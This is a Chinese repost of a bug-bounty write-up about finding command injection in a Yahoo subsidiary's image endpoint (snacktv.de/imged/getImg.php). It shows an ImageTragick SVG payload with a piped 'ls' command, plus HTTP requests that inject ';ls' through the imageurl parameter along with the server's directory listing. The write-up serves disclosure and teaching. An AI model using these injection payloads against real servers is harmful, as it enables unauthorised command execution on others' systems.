从技术上还原入侵雅虎服务器是怎么一回事

简介: 本文讲的是从技术上还原入侵雅虎服务器是怎么一回事,5月20日晚上,我花了几天时间研究雅虎的Messenger应用程序。但是我依然无法搞清楚背后的工作管理。
本文讲的是 从技术上还原入侵雅虎服务器是怎么一回事5月20日晚上,我花了几天时间研究雅虎的Messenger应用程序。但是我依然无法搞清楚背后的工作管理。所以我走出了外面走走,决定找到一个新的目标。我发现了另我我 感兴趣的事情是, 那就是名为Sean的某个研究人员在参与雅虎的Bug奖励计划时,测试范围超出了雅虎的允许范围而被列入了黑名单。

回来房子之后,我跟好友Thomas讨论之后,我决定研究安全研究人员(Sean)被列入黑名单之前测试的应用。

步骤1:侦察

从Sean给出报告来看,这些公司的域名包括如下

* .mediagroupone.de 
* .snacktv.de 
* .vertical-network.de 
* .vertical-n.de 
* .fabalista.com

虽然有不少的域名出现在Sean的报告中,但是他的报告大部分的时间都是针对于SnackTV的内容管理系统,我和Thomas决定重复Sean使用的方法,针对SnackTV的www站点为目标,因为Thomas已经在这个站点上花了一些时间,同时也找到了一些XSS盲打漏洞。并且这个站点跟其他站点有所不同,原因有两点:(1)这是个德国公司,(2)这是为视频制作者准备的开发者网站。

从技术上还原入侵雅虎服务器是怎么一回事

SnackTV的搜索页面。很明显,这是一个视频网络,但注册的用户必须人工审核,因此我们无法直接访问该网站上的上传页面。

步骤2:扫描

我和Thomas在查看新范围时,都会后台运行一些工具,我使用了“subbrute”以及“dirsearch”这个工具。

后台运行这些工具一段时间后,我们收到了大量的输出,但是并没有多大帮助。大多数信息是非常标准的响应信息,如“.htpasswd”被阻止在标准的HTTP 403错误之后,“admin”页面重定向到登录页面等等。然而,最终,dirsearch发现了一个脆弱点。

有问题的文件名是“getImg.php”隐藏在“imged”目录(http://snacktv.de/imged/getImg.php)后面。经过一些环顾之后,我们意识到这个文件可以通过Google dork“sites:snacktv.de filetype:php”公开访问。

这一步非常重要,因为易受攻击的文件需要GET参数才能返回内容。如果我们要知道GET参数,可能需要几周的时间来猜测,很少有人去猜GET的参数,因为它们通常还需要另外的参数配合才可以。

所需GET参数的示例

1、访问“http://example.com/supersecretdevblog.php”:返回HTTP 500内部服务器错误

2、访问“http://example.com/supersecretdevblog.php?page=index&post=1”:返回HTTP 200响应

我们到目前为止知道信息如下

1、文件“getImg.php”采用多个HTTP GET参数,如果通过“imgurl”参数提供了图像的链接,将自动下载修改的图像文件。

2、根据Google搜索中出现的参数,我们知道裁剪函数使用ImageMagick。

步骤3:访问及获取权限

从获取的信息我们得知这个网站使用了"ImageMagick",第一时间就想到了“ImageTragick”(CVE-2016-3714),并决定测试几个POC。

我和Thomas花了几个小时的时间,构造包含漏洞载荷的图片文件。漏洞利用的原理是把svg图片文件(即包含载荷的图片文件),交给ImageMagick”命令行工具处理,ImageMagick存在漏洞,导致处理过程中存在任意命令执行漏洞。然而我们的poc没有一个成功,我们怀疑他们已经打了ImageMagick补丁。

我们发往服务器的paylod如下所示。图片地址使用的是我们的私人域名,将载荷上传到服务器后,我们通过“imageurl”参数获取服务器上的载荷图片。我们的目标是使服务器执行一条任意命令。请注意其中“xlink:href”所指向的图片地址。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"; xmlns:xlink= "http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg>

除了服务器在处理文件所属的URL地址上有点奇怪之外,一切都很正常。我们向服务器发送了一些随机的文本文件,服务器返回的数据总是与上一次调用相同。我们仔细阅读了“ImageMagick”相关资料,结合漏洞披露细节,我们发现服务器似乎不存在这个漏洞,也有可能服务器没有使用ImageMagick。我们暂缓攻击这个文件,决定看一下网站是否存在其他漏洞。

貌似在凌晨3:30时,我们发现了存储型跨站脚本漏洞、HTTP 401响应注入漏洞以及常见的管理不当问题,但这些都不是关键问题。当你在参与bug奖励计划、这些漏洞奖金通常会大幅缩水,因为这些问题的影响非常低。在某些人眼里,拿到打折的奖金还是可以接受,但对其他人而言这只是在浪费时间。收购的子公司为目标的唯一好处在于,许多人在这些目标上会放松安全警惕性。

重新回到URL地址后,我变得有些烦躁,开始怀疑服务器在处理图片文件的具体实现。如果雅虎没有将图片作为一个整体来处理,而是采用将URL注入到XML中的“image xlink:href”的处理方式呢,这种方式与漏洞PoC中的情况类似。那么我需要尝试哪种载荷才能验证我的猜想?

我在浏览器的地址中附加了一个额外的双引号,然后看到了一些有趣的输出信息,如下所示:

请求:

GET /imged/getImg.php?imageurl=" HTTP/1.1
Host: snacktv.de
Connection: close
Upgrade-Insecure-Requests: 1

服务器响应:

By default, the image format is determined by its magic number.
To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image)...
... or specify the image type as the filename suffix (i.e. image.ps). Specify file as - for standard input or output.

我之所以使用这个请求,是因为在之前的PoC所使用的XML文件中,我们是在URL实体上使用了双引号(可能单引号也可以)。如果我们向服务器发送一个双引号,就可以迫使服务器跳出这个逻辑处理区域,然后获取服务器上写入命令位置的写权限(参考前文引用的PoC)。

看来服务器的确使用了ImageMagick!在某种程度上,我是否打破了服务器的执行流程呢?这是否就是命令行的输出?我应该接着发送更多请求。

请求:

GET /imged/getImg.php?imageurl=";ls HTTP/1.1
Host: snacktv.de
Connection: close

服务器响应:

By default, the image format is determined by its magic number.
 To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image)...
 ... or specify the image type as the filename suffix (i.e. image.ps). Specify file as - for standard input or output.
 [redacted]
 [redacted]
 index.php
 getImage.php
 [redacted]
 [redacted]

我发送上面列出的字符串的原因是逃避第一个命令范围。在Linux环境中,您可以将分号附加到初始命令中,并开始编写第二个命令。这对攻击者很有用,因为它允许在初始预定义内容之外执行。

在这一点上我很兴奋。我在渗透测试生涯中首次实现命令注入。在此之前,我愚蠢的认为发送引号和分号来试图实现命令注入这是一种不现实的想法,但这一次完全改变了我的观点。不久之后,我通过HackerOne针对雅虎的bug赏金计划报告了这一点。我在24小时内收到了一个回复,并将该bug修复了六个。

结论

你以为会有四步?不,不。我们是白帽的黑客…记得吗?




原文发布时间为:2017年6月9日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
2月前
|
Java 关系型数据库 API
探索后端技术:构建高效、可靠的服务器端应用
在当今数字化时代,后端技术是任何成功应用程序的基石。它涉及服务器、数据库和应用程序之间的交互,处理数据存储、业务逻辑和系统性能等关键任务。本文将深入探讨后端开发的核心概念、常见技术栈及其实际应用,帮助读者更好地理解和掌握构建高效、可靠后端系统的技巧与策略。
|
2月前
|
监控 中间件 Java
后端技术:构建高效、稳定的服务器端应用
【10月更文挑战第5天】后端技术:构建高效、稳定的服务器端应用
96 0
|
2月前
|
监控 关系型数据库 Serverless
探索后端技术:构建高效、可靠的服务器端应用
本文将深入探讨后端开发的核心概念和关键技术,从服务器架构到数据库管理,再到安全防护,为读者提供全面的后端技术指南。无论是初学者还是经验丰富的开发者,都能从中汲取灵感,提升自己的技术水平。
|
26天前
|
XML 前端开发 JavaScript
PHP与Ajax在Web开发中的交互技术。PHP作为服务器端脚本语言,处理数据和业务逻辑
本文深入探讨了PHP与Ajax在Web开发中的交互技术。PHP作为服务器端脚本语言,处理数据和业务逻辑;Ajax则通过异步请求实现页面无刷新更新。文中详细介绍了两者的工作原理、数据传输格式选择、具体实现方法及实际应用案例,如实时数据更新、表单验证与提交、动态加载内容等。同时,针对跨域问题、数据安全与性能优化提出了建议。总结指出,PHP与Ajax的结合能显著提升Web应用的效率和用户体验。
40 3
|
2月前
|
存储 监控 网络协议
服务器压力测试是一种评估系统在极端条件下的表现和稳定性的技术
【10月更文挑战第11天】服务器压力测试是一种评估系统在极端条件下的表现和稳定性的技术
130 32
|
2月前
|
NoSQL PHP Redis
布谷语音app源码服务器环境配置及技术开发语言
布谷语音app源码服务器环境配置及技术语言研发。。
|
3月前
|
大数据 云栖大会 云计算
2024云栖大会 预告:磐久服务器技术创新和实践
2024云栖大会 预告:磐久服务器技术创新和实践
2024云栖大会 预告:磐久服务器技术创新和实践
|
3月前
|
存储 关系型数据库 API
深入理解后端技术:构建高效、可扩展的服务器端应用
本文将探讨后端开发的核心概念和技术,包括服务器端编程、数据库管理、API设计和安全性等方面。通过深入浅出的方式,让读者了解如何构建高效、可扩展的后端系统。我们将从基本的后端框架开始,逐步深入到高级主题,如微服务架构和容器化部署。无论您是初学者还是有经验的开发人员,都能在本文中找到有价值的信息和实用的建议。
|
4月前
|
缓存 安全 Java
Java服务器端技术:Servlet与JSP的集成与扩展
Java服务器端技术:Servlet与JSP的集成与扩展
40 3
|
4月前
|
负载均衡 算法 应用服务中间件
负载均衡技术在Web服务器集群中的应用
【8月更文第28天】随着互联网的发展和用户对Web服务需求的增长,单台服务器很难满足大规模访问的需求。为了提高系统的稳定性和扩展性,通常会采用Web服务器集群的方式。在这种架构中,负载均衡器扮演着至关重要的角色,它能够合理地分配客户端请求到不同的后端服务器上,从而实现资源的最优利用。
141 2